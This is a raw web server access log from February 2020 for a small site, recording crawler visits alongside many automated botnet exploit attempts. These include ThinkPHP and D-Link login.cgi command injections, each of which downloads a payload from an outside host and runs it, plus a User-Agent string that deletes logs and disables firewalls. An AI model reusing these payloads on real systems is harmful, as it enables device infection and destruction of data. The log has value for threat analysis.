222.186.19.221 - - [25/Feb/2020:02:15:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
80.82.70.118 - - [25/Feb/2020:02:17:58 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
222.186.19.221 - - [25/Feb/2020:02:18:10 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
80.82.70.118 - - [25/Feb/2020:02:18:49 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
177.86.126.103 - - [25/Feb/2020:02:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.186.19.221 - - [25/Feb/2020:02:19:35 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [25/Feb/2020:02:22:43 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
66.249.64.90 - - [25/Feb/2020:02:25:13 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.90 - - [25/Feb/2020:02:25:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
128.14.134.134 - - [25/Feb/2020:02:28:48 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
222.186.19.221 - - [25/Feb/2020:02:30:21 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
81.12.96.242 - - [25/Feb/2020:02:33:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
80.82.70.118 - - [25/Feb/2020:02:35:40 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
197.205.8.188 - - [25/Feb/2020:02:36:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.173.120.150 - - [25/Feb/2020:02:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
192.241.223.18 - - [25/Feb/2020:02:55:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.223.18 - - [25/Feb/2020:02:55:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
220.130.21.230 - - [25/Feb/2020:02:55:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
24.56.205.225 - - [25/Feb/2020:02:56:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.219.11.153 - - [25/Feb/2020:02:57:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [25/Feb/2020:02:58:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [25/Feb/2020:02:59:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
192.241.223.18 - - [25/Feb/2020:02:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.223.18 - - [25/Feb/2020:03:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.223.18 - - [25/Feb/2020:03:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.223.18 - - [25/Feb/2020:03:01:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.223.18 - - [25/Feb/2020:03:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.223.18 - - [25/Feb/2020:03:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
102.69.165.230 - - [25/Feb/2020:03:06:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
146.120.100.142 - - [25/Feb/2020:03:11:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.156.219.164 - - [25/Feb/2020:03:24:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
159.65.34.46 - - [25/Feb/2020:03:27:33 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.65.34.46 - - [25/Feb/2020:03:27:52 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14"
103.206.53.202 - - [25/Feb/2020:03:33:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
187.233.39.110 - - [25/Feb/2020:03:33:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.108.66.176 - - [25/Feb/2020:03:36:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
79.46.179.113 - - [25/Feb/2020:03:44:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
213.80.174.240 - - [25/Feb/2020:03:44:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.1.160.60 - - [25/Feb/2020:03:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.75.29.122 - - [25/Feb/2020:03:47:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.11.190.212 - - [25/Feb/2020:03:49:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.236.99.206 - - [25/Feb/2020:03:51:22 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
190.94.149.111 - - [25/Feb/2020:03:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
159.65.37.182 - - [25/Feb/2020:04:00:31 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.65.37.182 - - [25/Feb/2020:04:00:43 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
103.135.38.55 - - [25/Feb/2020:04:04:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
217.125.6.68 - - [25/Feb/2020:04:08:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.216.112.83 - - [25/Feb/2020:04:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
47.197.193.9 - - [25/Feb/2020:04:12:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
175.136.121.33 - - [25/Feb/2020:04:21:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
61.219.11.153 - - [25/Feb/2020:04:22:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [25/Feb/2020:04:23:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [25/Feb/2020:04:23:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [25/Feb/2020:04:24:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [25/Feb/2020:04:25:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
106.12.69.27 - - [25/Feb/2020:04:26:55 +0100] "GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;wget http://80.82.67.184/richard; curl -O http://80.82.67.184/richard; chmod +x richard; sh richard%205;%27 HTTP/1.1" 404 319 "-" "-"
209.17.96.58 - - [25/Feb/2020:04:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
95.210.238.25 - - [25/Feb/2020:04:32:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
110.9.148.211 - - [25/Feb/2020:04:33:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.121.0.69 - - [25/Feb/2020:04:37:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [25/Feb/2020:04:37:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [25/Feb/2020:04:37:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [25/Feb/2020:04:37:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
84.107.119.153 - - [25/Feb/2020:04:39:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
89.240.197.213 - - [25/Feb/2020:04:42:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
89.240.197.213 - - [25/Feb/2020:04:42:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.212.128.102 - - [25/Feb/2020:04:54:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.85.91.19 - - [25/Feb/2020:04:58:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.176 - - [25/Feb/2020:04:59:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
73.33.112.155 - - [25/Feb/2020:04:59:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.120.136.39 - - [25/Feb/2020:05:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
213.16.184.19 - - [25/Feb/2020:05:07:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
186.190.182.199 - - [25/Feb/2020:05:08:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.216.245.215 - - [25/Feb/2020:05:14:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
164.52.193.62 - - [25/Feb/2020:05:22:04 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
164.52.193.62 - - [25/Feb/2020:05:22:04 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
164.52.193.62 - - [25/Feb/2020:05:22:04 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
164.52.193.62 - - [25/Feb/2020:05:22:05 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
164.52.193.62 - - [25/Feb/2020:05:22:05 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
164.52.193.62 - - [25/Feb/2020:05:22:05 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
78.185.69.126 - - [25/Feb/2020:05:27:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
170.81.0.216 - - [25/Feb/2020:05:28:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.38 - - [25/Feb/2020:05:34:42 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
31.202.42.85 - - [25/Feb/2020:05:34:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.161.99.72 - - [25/Feb/2020:05:55:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:55:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:55:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:55:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:55:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
176.163.131.89 - - [25/Feb/2020:05:57:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.57.41.102 - - [25/Feb/2020:05:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.161.99.72 - - [25/Feb/2020:05:59:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:59:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:59:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:59:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:05:59:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.215.79.202 - - [25/Feb/2020:06:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
92.45.192.156 - - [25/Feb/2020:06:00:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
211.192.180.178 - - [25/Feb/2020:06:04:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [25/Feb/2020:06:04:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [25/Feb/2020:06:04:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [25/Feb/2020:06:04:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [25/Feb/2020:06:04:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
84.185.72.170 - - [25/Feb/2020:06:10:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.85.91.19 - - [25/Feb/2020:06:10:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.84.130.42 - - [25/Feb/2020:06:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
157.245.231.174 - - [25/Feb/2020:06:19:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
91.19.115.208 - - [25/Feb/2020:06:20:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
62.33.74.122 - - [25/Feb/2020:06:22:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
66.249.64.48 - - [25/Feb/2020:06:25:19 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.44 - - [25/Feb/2020:06:25:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
45.166.33.141 - - [25/Feb/2020:06:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.93.142.56 - - [25/Feb/2020:06:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.95.186.6 - - [25/Feb/2020:06:38:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.38 - - [25/Feb/2020:06:39:02 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
188.23.246.170 - - [25/Feb/2020:06:40:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
2.89.247.61 - - [25/Feb/2020:06:42:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.92.153.250 - - [25/Feb/2020:06:48:49 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [25/Feb/2020:06:48:53 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [25/Feb/2020:06:48:59 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [25/Feb/2020:06:49:11 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 338 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [25/Feb/2020:06:49:35 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
213.136.85.27 - - [25/Feb/2020:06:50:36 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:06:50:36 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:06:50:36 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:06:50:36 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:06:50:36 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:06:50:37 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
